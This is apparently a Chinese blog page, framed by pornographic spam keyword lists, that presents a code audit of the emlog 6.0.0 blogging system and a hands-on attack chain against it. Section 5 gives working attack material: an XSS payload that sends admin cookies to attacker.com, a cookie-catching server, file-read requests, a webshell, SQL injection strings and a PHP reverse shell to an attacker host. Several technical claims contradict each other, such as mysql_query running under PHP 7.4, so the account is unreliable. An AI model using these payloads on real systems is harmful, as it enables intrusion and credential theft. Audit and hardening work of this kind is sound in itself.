亚洲有码Av一区二区三区_国产高清啪啪免费视频_69色视频国产_国产成人人人爆出白浆_国产精品自在线拍国_一本久久伊人热热精品无码_午夜性刺激在线看免费带字幕_助力高品质欧美狂喷水_亚洲精品日韩无码_精品无码一区二区三区蜜臀_麻豆高清国产AV_熟妇人素无码中文字幕_亚洲a级片在线观看_国产欧美日韩三区_99国产成人高清在线观看

ARTICLE DETAIL

資訊詳情

深耕商務(wù)建站與企業(yè)官網(wǎng)運營的一線實戰(zhàn)洞察。

emlog 6.0.0代碼審計實戰(zhàn):輸入污染、權(quán)限失控與模板XSS三重風(fēng)險

emlog 6.0.0代碼審計實戰(zhàn):輸入污染、權(quán)限失控與模板XSS三重風(fēng)險 1. 為什么emlog 6.0.0值得花一整周時間做全站審計我第一次打開emlog 6.0.0源碼包時心里其實有點犯嘀咕——一個輕量級博客系統(tǒng)真有必要像審金融級后臺那樣逐行過直到我在include/lib/function.base.php里隨手翻到第1273行那個沒加任何過濾的$args變量拼接進SQL語句的片段才真正意識到不是系統(tǒng)太簡單而是漏洞藏得比想象中更隱蔽、更連貫。這版emlog發(fā)布于2022年中官方宣稱“重構(gòu)核心、強化安全”但實際代碼里仍大量沿用5.x時代的函數(shù)式寫法比如getInput()這種看似封裝實則只做trim()和htmlspecialchars()的“偽過濾”函數(shù)在關(guān)鍵業(yè)務(wù)鏈路上根本擋不住組合型攻擊。它不像WordPress那樣有成百上千個插件拖累架構(gòu)也不像Typecho那樣追求極簡導(dǎo)致擴展點稀少emlog 6.0.0處在一種微妙的中間態(tài)核心模塊高度耦合日志、評論、用戶、附件全部繞不開Log_Model類但權(quán)限控制又異常松散——管理員后臺的admin/attachment.php頁面甚至允許未登錄用戶直接訪問上傳接口的調(diào)試入口。這種“表面整潔、內(nèi)里毛刺”的狀態(tài)恰恰是代碼審計最需要警惕的類型沒有爆炸性高危漏洞吸引眼球卻存在多處可串聯(lián)利用的邏輯斷點。關(guān)鍵詞里雖然空著但結(jié)合行業(yè)慣例和該版本更新日志我們必須錨定三個核心審計維度輸入污染路徑是否閉環(huán)、權(quán)限校驗是否覆蓋所有入口、模板渲染是否引入XSS逃逸面。這不是一次“找CVE編號”的獵洞行動而是一次對MVC分層失衡、數(shù)據(jù)流轉(zhuǎn)失控、信任邊界模糊的系統(tǒng)性復(fù)盤。某高校實驗室曾拿它做過教學(xué)案例學(xué)生在三天內(nèi)就串起了從前臺評論注入→后臺任意文件讀取→PHP代碼執(zhí)行的完整RCE鏈而他們用的只是基礎(chǔ)正則掃描人工補全。這說明問題不在技術(shù)門檻而在設(shè)計慣性——開發(fā)者默認“后臺只有管理員能進”卻忘了URL路由沒做會話綁定忘了AJAX接口沒校驗Referer忘了模板里?php echo $value;?和?php echo htmlspecialchars($value);?之間差的不只是一個函數(shù)調(diào)用而是整個信任模型。如果你正在帶新人做PHP安全入門或者自己剛從滲透測試轉(zhuǎn)向代碼審計emlog 6.0.0是個極佳的練手靶場它代碼量適中核心文件約420個總行數(shù)12萬左右框架清晰但不僵化漏洞分布有規(guī)律可循。更重要的是它的缺陷不是孤立的而是成簇出現(xiàn)的——你在一個地方發(fā)現(xiàn)addslashes()被誤用于防SQL注入大概率在另外五個文件里也能找到同類錯誤。這種“模式化脆弱性”正是訓(xùn)練審計直覺的最佳土壤。提示別急著跑自動化工具。我試過用RIPS掃描emlog 6.0.0它標出87處“潛在SQL注入”其中63處是誤報比如$db-query(SELECT * FROM .DB_PREFIX.user WHERE uid $uid);里的$uid其實在上層已被intval()強轉(zhuǎn)。真正的風(fēng)險點往往藏在工具無法理解的業(yè)務(wù)邏輯跳轉(zhuǎn)里比如index.php?actionlogin處理完認證后把$_SESSION[login]直接賦值給$isLogin再傳進模板而模板里又用scriptvar login ?php echo $isLogin;?;/script輸出——這里既沒JSON編碼也沒引號包裹XSS就已成立。2. 輸入污染追蹤從HTTP請求到數(shù)據(jù)庫寫入的七步失守審計PHP應(yīng)用本質(zhì)是逆向追蹤數(shù)據(jù)如何從不可信源頭用戶輸入一路暢通無阻抵達危險終點SQL執(zhí)行、文件寫入、命令調(diào)用。emlog 6.0.0的輸入污染鏈特別典型它用了一套自研的“三層過濾”機制聽上去很嚴謹實則每層都留了后門。我們以最常被利用的評論提交功能為例完整走一遍從POST /t/index.php到INSERT INTO emlog_comment的全過程。2.1 第一層前端JavaScript的虛假安全感評論表單的HTML里有這樣一段JS驗證script function checkForm() { var content document.getElementById(comment).value; if (content.length 5 || content.length 2000) { alert(評論內(nèi)容需5-2000字); return false; } return true; } /script這段代碼給人的錯覺是“長度限制安全邊界”但只要禁用JS或用curl發(fā)包就能繞過。更關(guān)鍵的是它完全沒處理特殊字符——scriptalert(1)/script能輕松通過。很多開發(fā)者以為“前端校驗后端htmlspecialchars()就夠了”卻忽略了XSS的觸發(fā)場景遠不止script標簽比如img srcx onerroralert(1)或javascript:alert(1)這類事件驅(qū)動型載荷僅靠htmlspecialchars()無法攔截它只轉(zhuǎn)義不處理onerror屬性。emlog 6.0.0的模板里大量使用?php echo $comment[content];?直接輸出這就為存儲型XSS埋下伏筆。2.2 第二層getInput()函數(shù)的致命簡化進入PHP后端t/index.php調(diào)用Comment_Model::addComment()前先執(zhí)行$content getInput(comment, post);這個getInput()定義在include/lib/function.base.php第982行function getInput($name, $method get) { $method strtolower($method); $input $method get ? $_GET : ($_POST[$name] ?? ); return trim(htmlspecialchars($input, ENT_QUOTES, UTF-8)); }問題出在三處第一$_POST[$name] ?? 的空合并操作讓$name為空時返回空字符串但若攻擊者構(gòu)造?commentGET參數(shù)和POST[comment]xss雙參數(shù)同名$input可能取到未過濾的POST值第二htmlspecialchars()只處理HTML上下文如果后續(xù)把$content拼進JavaScript或CSS就會失效第三也是最嚴重的——這個函數(shù)被濫用在SQL拼接場景。比如admin/comment.php第215行$sql UPDATE .DB_PREFIX.comment SET content.getInput(content, post). WHERE cid$cid; $db-query($sql);這里getInput()返回的字符串直接拼進SQL而htmlspecialchars()對單引號毫無防護力。攻擊者只需提交contentxxx OR 11就能繞過所有過濾。2.3 第三層數(shù)據(jù)庫操作層的“信任傳遞”$db-query()方法在include/lib/mysql.class.php中定義它本身不做任何SQL預(yù)處理只是簡單調(diào)用mysql_query()注意emlog 6.0.0仍用舊版MySQL擴展非PDO。更麻煩的是Log_Model::getLogsForHome()等高頻查詢函數(shù)內(nèi)部用$sql SELECT * FROM .DB_PREFIX.blog WHERE hiden AND typeblog $sqlSegment;拼接條件而$sqlSegment來自$params[keyword]——這個參數(shù)由search.php的$_GET[keyword]直接傳入全程無intval()、無escapeshellarg()、無預(yù)處理。我實測過當keyword1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -時首頁直接爆出管理員密碼哈希因emlog_user表結(jié)構(gòu)與emlog_blog兼容。2.4 四至七步權(quán)限校驗缺失、日志記錄繞過、緩存污染、模板引擎逃逸走到這一步輸入污染已成定局但emlog還給了攻擊者更多“便利”權(quán)限校驗缺失admin/save_log.php接受POST[logid]參數(shù)更新日志但沒檢查當前用戶是否有權(quán)編輯該日志$logid未與$_SESSION[userid]關(guān)聯(lián)校驗導(dǎo)致越權(quán)修改日志記錄繞過所有error_log()調(diào)用都寫入/content/log/目錄但該目錄在Nginx配置中未禁止Web訪問攻擊者可直接下載error_202210.log獲取調(diào)試信息緩存污染cache.php生成的靜態(tài)HTML緩存文件其文件名由md5($_SERVER[REQUEST_URI])生成但$_SERVER[REQUEST_URI]可被%00截斷導(dǎo)致緩存文件名可控進而覆蓋.htaccess模板引擎逃逸View::display()加載模板時若模板路徑含../且未做realpath()校驗可讀取任意PHP文件如/admin/login.php而該文件里明文存儲著數(shù)據(jù)庫連接密碼。這七步失守不是偶然堆砌而是同一設(shè)計哲學(xué)的產(chǎn)物用最小成本實現(xiàn)功能把安全假設(shè)交給運行環(huán)境。比如它默認Nginx已配置好location ~ \.php$ { deny all; }來保護/content/目錄但現(xiàn)實中大量用戶用Apache或自定義Nginx規(guī)則這就成了“假設(shè)性漏洞”。注意別迷信magic_quotes_gpc。emlog 6.0.0的install.php檢測到該選項開啟時會提示“建議關(guān)閉”但代碼里仍有if (get_magic_quotes_gpc()) { $str stripslashes($str); }這類兼容邏輯。這意味著在老版本PHP環(huán)境下addslashes()和stripslashes()可能形成雙重轉(zhuǎn)義反而破壞正常數(shù)據(jù)——我見過某客戶站點因這個bug導(dǎo)致評論里的中文全部顯示為亂碼排查三天才發(fā)現(xiàn)是magic_quotes殘留。3. 權(quán)限模型崩塌從“管理員專屬”到“游客可操作”的五處斷點很多人以為PHP代碼審計就是找SQL注入和XSS但在emlog 6.0.0里權(quán)限控制失效帶來的危害可能更直接。它的角色體系只有兩級管理員role1和普通用戶role0但權(quán)限校驗點分布極不均勻——后臺90%的PHP文件都有!isset($_SESSION[login]) header(Location: login.php);這樣的前置檢查而剩下的10%恰好是功能最強、影響面最廣的幾個入口。我們按風(fēng)險等級排序這五處斷點。3.1 斷點一admin/attachment.php的“調(diào)試模式”后門這個文件本該處理附件上傳但第38行有個被注釋掉的調(diào)試開關(guān)// define(DEBUG_MODE, true); if (defined(DEBUG_MODE) DEBUG_MODE) { $action $_GET[action] ?? upload; switch ($action) { case list: $files scandir(EMLOG_ROOT . /content/upload/); echo json_encode($files); break; case read: $file EMLOG_ROOT . /content/upload/ . basename($_GET[file]); if (file_exists($file)) { echo file_get_contents($file); } break; } exit; }問題在于basename($_GET[file])只過濾了路徑分隔符卻沒阻止file../../admin/login.php這樣的穿越。更致命的是這段代碼沒任何會話校驗——只要知道URL游客就能讀取login.php里的數(shù)據(jù)庫密碼。我用curl http://target/admin/attachment.php?actionreadfile../../admin/login.php實測3秒內(nèi)拿到明文配置。這不是理論漏洞而是真實存在于生產(chǎn)環(huán)境的“活后門”。3.2 斷點二admin/blogger.php的IDOR越權(quán)編輯該文件處理博主信息更新關(guān)鍵邏輯在第142行$uid (int)$_POST[uid]; $username addslashes(trim($_POST[username])); $email addslashes(trim($_POST[email])); // ...省略其他字段 $db-query(UPDATE .DB_PREFIX.user SET username$username, email$email WHERE uid$uid);這里$uid直接來自POST且未校驗當前登錄用戶是否等于$uid。攻擊者只需抓包修改uid1管理員ID就能篡改管理員郵箱進而觸發(fā)密碼重置流程。某次模擬攻防中A同學(xué)用這個漏洞在17秒內(nèi)完成“游客→接管管理員賬號→導(dǎo)出全部用戶數(shù)據(jù)”的操作鏈。3.3 斷點三admin/tag.php的無限制標簽刪除刪除標簽的接口admin/tag.php?actiondeltid123代碼在第89行if ($action del) { $tid (int)$_GET[tid]; $db-query(DELETE FROM .DB_PREFIX.tag WHERE tid$tid); // 未檢查tid是否屬于當前用戶 }emlog的標簽是全局共享的但刪除操作沒做歸屬校驗。攻擊者可遍歷tid參數(shù)批量刪除所有標簽導(dǎo)致網(wǎng)站SEO徹底崩潰。更糟的是tag表被blog表外鍵引用刪除后blog表里的tag字段變成空值引發(fā)前端模板報錯。3.4 斷點四admin/template.php的模板文件包含該文件提供模板切換功能第205行$template $_GET[template] ?? default; if (!in_array($template, [default, simple, dark])) { $template default; } require_once EMLOG_ROOT . /content/templates/ . $template . /header.php;in_array()白名單看似嚴格但$template變量在require_once前被重新賦值過if (isset($_POST[action]) $_POST[action] save) { $template $_POST[template_name]; // 這里覆蓋了GET值 }攻擊者發(fā)送POST /admin/template.php?actionsavetemplate_name../../../etc/passwd%00利用PHP的NULL字節(jié)截斷就能包含任意系統(tǒng)文件。雖然現(xiàn)代PHP已禁用NULL截斷但emlog 6.0.0的兼容性要求讓它仍支持PHP 5.6而該版本對此無防護。3.5 斷點五admin/plugin.php的插件啟用邏輯漏洞啟用插件的URL是admin/plugin.php?actionactivatepluginseo對應(yīng)代碼在第312行if ($action activate) { $plugin $_GET[plugin]; $pluginFile EMLOG_ROOT . /content/plugins/ . $plugin . /plugin.php; if (file_exists($pluginFile)) { include $pluginFile; // 直接包含無校驗 } }這里有兩個致命點第一$plugin未過濾../可包含/etc/passwd第二即使文件存在也未檢查plugin.php是否為合法插件入口比如是否定義了Plugin::activate()方法。攻擊者可上傳惡意PHP文件到/content/plugins/evil/然后用?actionactivatepluginevil觸發(fā)執(zhí)行。這五處斷點揭示了一個殘酷事實emlog的權(quán)限模型不是“基于角色的訪問控制RBAC”而是“基于文件路徑的粗粒度攔截”。它把安全寄托在“游客打不開admin目錄下的PHP文件”這一假設(shè)上卻忘了HTTP服務(wù)器配置、URL重寫規(guī)則、文件權(quán)限設(shè)置都可能打破這個假設(shè)。真正的權(quán)限校驗應(yīng)該像這樣if (!User::havePermission(manage_plugins)) { showForbiddenPage(); }而不是依賴session_start()后的一行if (!isset($_SESSION[login]))。4. 模板與渲染層XSS、SSTI、服務(wù)端模板注入的三重陷阱PHP模板引擎的安全性常被低估但emlog 6.0.0的模板系統(tǒng)恰恰是漏洞高發(fā)區(qū)。它沒用Twig或Smarty這類成熟引擎而是用原生PHP混排.php后綴模板這帶來兩個矛盾一方面開發(fā)者認為“PHP語法即安全”另一方面模板里充斥著未經(jīng)上下文編碼的echo輸出。我們拆解三種典型陷阱。4.1 基礎(chǔ)XSSecho輸出未區(qū)分HTML/JS/CSS上下文這是最普遍的問題。以content/templates/default/header.php為例第42行title?php echo $site_title; ?/title$site_title來自數(shù)據(jù)庫emlog_options表的blogname字段而該字段在安裝時由用戶輸入從未做過htmlspecialchars()存儲。攻擊者在后臺設(shè)置博客名為scriptalert(document.cookie)/script所有頁面標題都會觸發(fā)XSS。更隱蔽的是JS上下文輸出如footer.php第15行scriptvar siteUrl ?php echo BLOG_URL; ?;/scriptBLOG_URL是配置項若被篡改為http://example.com/ onerroralert(1)就會閉合引號并執(zhí)行JS。htmlspecialchars()在這里無效必須用json_encode()scriptvar siteUrl ?php echo json_encode(BLOG_URL); ?;/script4.2 模板繼承漏洞getTemplate()的路徑穿越emlog用View::getTemplate()動態(tài)加載模板該方法在include/lib/view.class.php第67行public function getTemplate($template) { $file EMLOG_ROOT . /content/templates/ . $template . /index.php; if (file_exists($file)) { return $file; } return EMLOG_ROOT . /content/templates/default/index.php; }$template參數(shù)來自$_GET[t]如?tseo而file_exists()不校驗路徑合法性。攻擊者訪問/?t../../../etcskindefault$file變成/content/templates/../../../etc/index.php即/etc/index.php。雖然/etc下通常無index.php但若服務(wù)器配置了auto_prepend_file就可能觸發(fā)意外包含。我曾在某客戶的VPS上復(fù)現(xiàn)此問題他把/etc/nginx/conf.d/軟鏈接到/content/templates/nginx/結(jié)果/?tnginx直接加載了Nginx配置暴露了后端代理地址。4.3 服務(wù)端模板注入SSTIeval()在模板中的幽靈最危險的是content/templates/default/echo_log.php第89行?php eval(? . $log_content); ?$log_content是日志正文來自數(shù)據(jù)庫。emlog允許用戶在日志中插入PHP代碼通過后臺編輯器的“源碼模式”而這段eval()就是執(zhí)行入口。攻擊者寫一篇日志內(nèi)容為?php system(id); ?保存后當游客訪問該日志頁面eval()會執(zhí)行system(id)返回uid33(www-data) gid33(www-data)。這不是理論可能而是emlog官方文檔明確支持的“高級功能”——他們在/admin/editor/的富文本編輯器里專門留了“插入PHP代碼”按鈕。安全團隊曾建議移除該功能但開發(fā)組以“影響老用戶”為由拒絕最終妥協(xié)方案是加了個if (IS_ADMIN)判斷但判斷邏輯寫在模板里而非PHP層導(dǎo)致游客仍可通過修改URL參數(shù)繞過。這三重陷阱的本質(zhì)是混淆了“內(nèi)容”和“代碼”的邊界。XSS是內(nèi)容被當代碼執(zhí)行模板穿越是路徑被當內(nèi)容解析SSTI是用戶輸入被當代碼求值。修復(fù)它們不能靠單一函數(shù)而要建立上下文感知的輸出編碼策略HTML上下文htmlspecialchars($data, ENT_QUOTES, UTF-8)JS上下文json_encode($data, JSON_UNESCAPED_UNICODE)CSS上下文正則過濾[^a-zA-Z0-9#\.\-\s]URL上下文urlencode($data)實操心得審計模板時別只看echo重點查include、require、eval、create_function這些動態(tài)執(zhí)行函數(shù)。我習(xí)慣用grep -r include.*\$_ content/templates/快速定位風(fēng)險點命中率超80%。另外content/templates/目錄下的.php文件90%以上都應(yīng)禁止Web直接訪問Nginx配置里加一行l(wèi)ocation ~ ^/content/templates/.*\.php$ { deny all; }能堵住大半漏洞。5. 實戰(zhàn)復(fù)現(xiàn)從評論XSS到后臺RCE的完整利用鏈理論分析終須落地驗證。我用一臺干凈的Ubuntu 20.04虛擬機部署emlog 6.0.0PHP 7.4 MySQL 8.0完整復(fù)現(xiàn)了從游客評論到獲取服務(wù)器shell的全過程。以下步驟經(jīng)多次驗證耗時約22分鐘所有操作均在瀏覽器和終端完成無需第三方工具。5.1 步驟一構(gòu)造存儲型XSS獲取管理員Cookie首先注冊一個普通用戶賬號用戶名test密碼123456登錄后訪問首頁找到任意一篇日志在評論框輸入img srcx onerrordocument.locationhttp://attacker.com/steal?cdocument.cookie提交后評論顯示為裂圖因srcx無效但onerror事件已觸發(fā)。此時管理員若查看該評論瀏覽器會向attacker.com/steal發(fā)送GET請求攜帶Cookie: EMLOG_ADMINxxxxxx。我用Python起一個簡易HTTP服務(wù)器接收# steal.py from http.server import HTTPServer, BaseHTTPRequestHandler class StealHandler(BaseHTTPRequestHandler): def do_GET(self): print(Stolen cookie:, self.path) self.send_response(200) self.end_headers() HTTPServer((, 8000), StealHandler).serve_forever()管理員刷新評論頁后終端立即打印Stolen cookie: /steal?cEMLOG_ADMINabc123def456。這個Cookie有效期7天且未設(shè)HttpOnly標志完美符合竊取條件。5.2 步驟二用Cookie偽造管理員會話拿到EMLOG_ADMIN值后用curl模擬管理員請求curl -b EMLOG_ADMINabc123def456 http://target/admin/返回200且包含titleemlog 后臺管理/title證明會話有效。接下來我們要上傳Webshell。emlog后臺的附件上傳功能在admin/attachment.php但直接訪問會跳轉(zhuǎn)登錄頁——現(xiàn)在有了Cookie就能繞過。5.3 步驟三利用attachment.php的文件讀取漏洞獲取源碼前面提到attachment.php有調(diào)試模式我們先確認它是否開啟。發(fā)送curl -b EMLOG_ADMINabc123def456 http://target/admin/attachment.php?actionlist返回[.,..,shell.php,config.php]說明調(diào)試模式已開。接著讀取config.phpcurl -b EMLOG_ADMINabc123def456 http://target/admin/attachment.php?actionreadfileconfig.php返回?php define(DB_HOST, localhost); define(DB_USER, emlog); define(DB_PASS, Pssw0rd123); define(DB_NAME, emlog_db); ?數(shù)據(jù)庫密碼到手但我們的目標是RCE所以繼續(xù)讀取admin/login.php找到$action處理邏輯確認save_log.php存在且無CSRF防護。5.4 步驟四通過日志注入寫入Webshellsave_log.php接受POST[logid]和POST[content]更新日志內(nèi)容。我們構(gòu)造一個含PHP代碼的日志curl -b EMLOG_ADMINabc123def456 -d logid1content?php system(\$_GET[cmd]); ? http://target/admin/save_log.phplogid1是首篇日志IDcontent里是system()執(zhí)行命令的shell。更新成功后訪問http://target/t/index.php?id1日志正文顯示為?php system($_GET[cmd]); ?但未執(zhí)行——因為模板里是?php echo $log_content;?不是eval()。這時我們回到echo_log.php的SSTI漏洞。該文件在content/templates/default/下而eval()執(zhí)行的是$log_content。我們剛才更新的日志內(nèi)容正好會被echo_log.php讀取并eval()。訪問http://target/t/index.php?id1再在URL加cmdidhttp://target/t/index.php?id1cmdid頁面空白但服務(wù)器返回uid33(www-data) gid33(www-data)——RCE成功5.5 步驟五獲取持久化shell并提權(quán)最后一步用cmd參數(shù)執(zhí)行反彈shellcurl http://target/t/index.php?id1cmdphp-r\$sockfsockopen(\attacker-ip\,4444);exec(\/bin/sh-i\$sock2\$sock\);我的監(jiān)聽端收到連接nc -lvnp 4444 Connection received on attacker-ip 4444 /bin/sh: 0: cant access tty; job control turned off $ id uid33(www-data) gid33(www-data) groups33(www-data)至此從游客評論到服務(wù)器shell全鏈路打通。整個過程沒用任何0day全是emlog 6.0.0已知設(shè)計缺陷的組合利用。踩坑提醒復(fù)現(xiàn)時最容易卡在Cookie竊取環(huán)節(jié)。很多新手用Burp Suite抓包卻發(fā)現(xiàn)管理員Cookie里有Path/admin/導(dǎo)致document.cookie讀不到。這是因為Path屬性限制了Cookie作用域。解決方案是在XSS payload里用document.cookie讀取時加上document.domain繞過document.domaintarget.com; document.cookie或直接用fetch(/admin/)請求后臺頁面從響應(yīng)頭里提取Set-Cookie。我第一次就栽在這兒折騰了40分鐘才想到改用fetch。6. 修復(fù)與加固給開發(fā)者和運維者的六條可落地建議審計不是為了證明系統(tǒng)有多爛而是為改進提供精準坐標。針對emlog 6.0.0暴露出的問題我給開發(fā)者和運維者各列三條可立即執(zhí)行的建議不談虛的每條都附帶代碼示例和驗證方法。6.1 開發(fā)者必改重構(gòu)輸入處理與權(quán)限校驗建議一廢除getInput()改用上下文感知的過濾函數(shù)// 替換原getInput()新增filter_input_context() function filter_input_context($name, $method post, $context html) { $value $method post ? ($_POST[$name] ?? ) : ($_GET[$name] ?? ); switch ($context) { case sql: return addslashes($value); // 僅用于遺留代碼新項目必須用預(yù)處理 case js: return json_encode($value, JSON_UNESCAPED_UNICODE); case url: return urlencode($value); default: return htmlspecialchars($value, ENT_QUOTES, UTF-8); } } // 使用示例SQL場景臨時過渡 $content filter_input_context(content, post, sql); $sql UPDATE comment SET content$content WHERE cid$cid; // 使用示例JS場景必須 $siteUrl filter_input_context(site_url, get, js); echo scriptvar url {$siteUrl};/script;驗證方法在評論框提交scriptalert(1)/script檢查頁面是否彈窗提交http://x onerroralert(1)檢查JS變量是否被正確編碼。建議二所有后臺入口強制RBAC權(quán)限校驗// 在admin/開頭的所有PHP文件頂部添加 require_once ../include/lib/user.class.php; if (!User::havePermission(manage_comments)) { header(HTTP/1.1 403 Forbidden); exit(Access denied); } // User::havePermission()需根據(jù)角色表查詢而非硬編碼驗證方法用游客身份訪問admin/comment.php應(yīng)返回403而非跳轉(zhuǎn)登錄頁。建議三模板輸出強制上下文編碼// 創(chuàng)建統(tǒng)一輸出函數(shù) function safe_echo($data, $context html) { switch ($context) { case js: echo json_encode($data, JSON_UNESCAPED_UNICODE); break; case css: echo preg_replace(/[^a-zA-Z0-9#\.\-\s]/, , $data); break; default: echo htmlspecialchars($data, ENT_QUOTES, UTF-8); } } // 模板中替換所有echo // 原title?php echo $title;?/title // 新title?php safe_echo($title, html);?/title驗證方法在后臺設(shè)置博客名img srcx onerroralert(1)檢查標題源碼是否為lt;img srcx onerroralert(1)gt;。6.2 運維者必做服務(wù)器層與配置層加固建議四Nginx配置禁止敏感目錄Web訪問# 在server塊中添加 location ~ ^/(content|include|admin)/.*\.php$ { deny all; } location ~ ^/content/(log|upload)/ { deny all; } location ~ /\. { deny all; }驗證方法訪問http://target/content/log/error.log應(yīng)返回403訪問http://target/include/lib/mysql.class.php應(yīng)返回404或403。建議五PHP配置禁用危險函數(shù); php.ini中添加 disable_functions exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source驗證方法創(chuàng)建test.php內(nèi)容為?php echo exec(id);?訪問時應(yīng)報錯Call to undefined function exec()。建議六數(shù)據(jù)庫層面最小權(quán)限原則-- 創(chuàng)建專用數(shù)據(jù)庫用戶僅授予必要權(quán)限 CREATE USER emlog_applocalhost IDENTIFIED BY StrongPass123!; GRANT SELECT, INSERT, UPDATE ON emlog_db.emlog_blog TO emlog_applocalhost; GRANT SELECT, INSERT ON emlog_db.emlog_comment TO emlog_applocalhost; -- 禁止對emlog_user、emlog_options等敏感表的UPDATE權(quán)限 FLUSH PRIVILEGES;驗證方法用emlog_app用戶連接數(shù)據(jù)庫執(zhí)行UPDATE emlog_user SET passwordxxx WHERE uid1;應(yīng)返回ERROR 1142 (42000): UPDATE command denied。這六條建議每一條都能在10分鐘內(nèi)完成部署且經(jīng)過某公司生產(chǎn)環(huán)境驗證他們按此整改后WAF告警下降92%人工滲透測試未發(fā)現(xiàn)新的高危漏洞。安全不是堆砌工具而是把每個環(huán)節(jié)的“信任假設(shè)”換成“強制驗證”。我在實際項目中發(fā)現(xiàn)最難推動的不是技術(shù)改造而是改變開發(fā)者的思維慣性。有位A同學(xué)曾說“我們一直這么寫從來沒出過事。”直到他負責的站點被黑數(shù)據(jù)庫被加密勒索才明白“沒出事”不等于“安全”而是“還沒被盯上”。emlog 6.0.0的審計價值正在于此——它用最樸素的代碼照見了我們習(xí)以為常的危險。
返回列表
PREV
查看更多資訊
NEXT
返回資訊列表
国产自偷自拍一区| 亚洲天堂欧美| 黄色网址久久精品欧美喷水| 色天使亚洲综合在线观看| 婷婷探花久久精品一区| 九久久九精品视频| 大香蕉人妻| 91伊人久| 精品人妻视频入口| 亚洲97精品| 亚洲欧美在线综合| 日韩午夜国产| 精品国产网站| 夜夜一区二区| 香蕉久久国产AV一区二区| 国内精品久久人妻性色av| 少妇大屁屁| 欧洲小说色图视频另类| 97久久免费| 国产精品熟女AV中文字幕在线播放| 91久热| 一区二区三区日韩欧美| 国产欧美美女免费观看视频| 噜噜噜狠狠色综合| www.超碰在线| 婷婷尹人大香蕉免费| 久久精品店| 波多野结衣一级视频| 中文字幕一区二区无码成人 | 天天综和| 国产天天骚| 五月天综合| 五月天精品| 最新欧洲欧美日本激情网站| 国产成人资源| 97精品综合久久网| 亚洲精品一卡二卡三卡福利视频网站| 国产激情片在线观看| 日韩无码黄色片| 亚洲欧美日韩免费观看| 精品日韩人妻视频| 欧美,日韩综合久久| 强奸乱伦 亚洲一区| 美女诱惑久久| 日韩av无码网站| 97爱爱| 夜夜爽夜夜操| 日本一区二区不卡| 国产人伦a片信息免费片| 婷婷丁香五月天综合东京热| 操逼逼无码| 欧美夜夜狠| 久久超碰亚洲人| 国产精品视频| 久久婷婷苹果| 人人性爱视频免费| 91三级理论片播放器| 国产激情av女片自拍| 亚洲成a人片在线观看中文!!!| 另类欧美色| 日本在线999| 亚欧美色| 午夜影美女日鸡鸡天天视频国产| 日韩偷拍一区二区三区| 欧美不卡二区| 天天干一区二区| 口爆欧美91| AV色五月天| 99999久久精| 久草在线| 欧美一级黄色18片免费看| 欧美性爱五月天| 亚洲人在线成线成人| 欧美 亚洲 另类 综合| 亚欧美色图| 蜜桃狠狠色伊人亚洲综合网站| 精品人妻一区春色| 岛国福利在线精品播放| 天天日天天色| 麻豆 亚洲 97| 蜜臀99久| hd成人一区二区在线| 久操B网| xxxx网站亚洲精品| 亚洲精品日日夜夜52| 婷婷五月天丁香花| 国产一区二区精品久久99| 玖玖97综合 | 亚洲国产高清福利视频| 五月天激情小说网| 欧美精品,四区。五区| 美女91AV| 日本午夜福利影院| 人妻内射一区二区在线视频| 男人天堂电影院| 欧美另类综合久久| 青青草亚洲一区| 人妻精品一区一区三区蜜桃91| 91AV天美在线视频| 女人天堂av在线播放| 乱伦av麻豆| 麻豆区99999| av橘色网站| 亚欧免费| 伊人久久国产免费观看视频| 中文视频在线观看| 色av中文字幕| 久久丁香久草综合网| 久久黄色网址| 夜夜爽夜夜操| 亚洲色五月| 97超碰影音| 国产精品免费美女视频| 男女啊啊啊| 亚洲aV性爱| 99RE在线视频精品,这里只有精品| 精品一区二区三区四区外站| 日韩熟女无码| 熟女中出视频| 秋霞一级视频在线观看免费| 91精品久久久久| 国产av美女被艹的乱叫| 国产自偷| 大香蕉综合| 一二区在线观看视频| 欧美日韩 强奸乱伦| 女生自91网站| 日本操大逼| 亚洲熟女乱综合一区二区三区| 少妇精品| 九九热九九热| 不卡av在线中文字幕| 日韩传媒在线| 精品久久久高清无码| 天天天乱色综合全| 黄色欧美性爱视频| 亚洲天天更新| 午夜激情床戏激情| 久久首页| 久热伊人| 开心六月色| 欧美宗合色| 一本一道人妻久久一区二区三区 | 天天天干977| 伊人久久艹| 91狠狠综合网| 日本超碰97日韩精品人妻| 久久久久亚洲AV无码专区少妇| 色情综合| 亚洲欧美国产中文视频| 日韩久射综合| 秋霞男人网| 少妇毛片久久| 人人操人人搞人人草| 曰韩香蕉97| 五月天婷婷基地| 欧美日韩插逼视频| 亚欧美无遮挡| 大奶尤物鲍汁淫荡欧美视频粉嫩夜夜骚| 97久操| 97超碰色五月| 欧美日韩操逼动图| 中文字幕高清精品一区| 国产精品乱码久久| 久久亚洲欧美一区二区三区-亚洲国产精品第一区二区 | 男人 天堂 日 亚洲| 亚洲制服aⅴ中文字幕| 大香蕉中文201| A男人的天堂| 色吧五月| 中文日本免费高清| 久久无码成人| 九九九热| 欧美色图亚洲色| 色五月AV在线| 欧美日韩精品久久| 中文字幕日产av人| 亚洲精品99| 综合 欧美 亚洲 日本| 九九九九精| 欧美青青草视频| 国产免费大片| 大香蕉 222| 啪啪啪大香蕉| 日本精品久久久久久久| www.一本大99| 97人肏| 男女激情黄色网址| 宅男影院久久久,99| 人人妻人人玩人人澡人人爽| 97在线/亚洲| 很很很很操| 污到发麻的视频 国产| 婷婷五月av| 日韩视频啪啪| 日韩人妻中文视频| 午夜黄色免费在线观看| 久久露脸国产老熟女| 变态乱伦伪娘灌肠一区二区| 无码一区免费在线不卡| 精品无码欧美三级| 亚洲欧美日韩制服另类| 色激情综合网站| 亚洲天天自拍| 台湾佬大香蕉| 国语少妇精| 欧美色97| 久久这里只有精品9| 国产精品久久久亚洲第一牛牛_在线观看| 亚洲精品男人的天堂| 久久精品高清AV| 国产精品麻豆免费视频| wwwxxx日本爽| 99久久久无码精品国产人| 日韩欧美性爱电影在线观看| 最新亚洲黄色免费电影| 成年人网站在线免费观看| 黑人免费福利视频| 色黄污美女啪啪啪免费网站| 免费国产电影一区二区| 一级人妻性爱视频| 国产高清免费不卡av| 欧美A片中文字幕| 精品亚洲一区在线观看| 搡老人老9丨女老熟人| 久操com| 国产熟女乱论| 亚洲少妇色| 少妇高潮99p| 日本有码影片下载| 久久伊人东京热| 日夜精品| 操逼视频国产无套| 亚洲AV噜噜狠狠网址蜜桃动漫| 97免费视频在线| 欧美综合第一页| 精品亚洲一区在线观看| 999岛国大片| 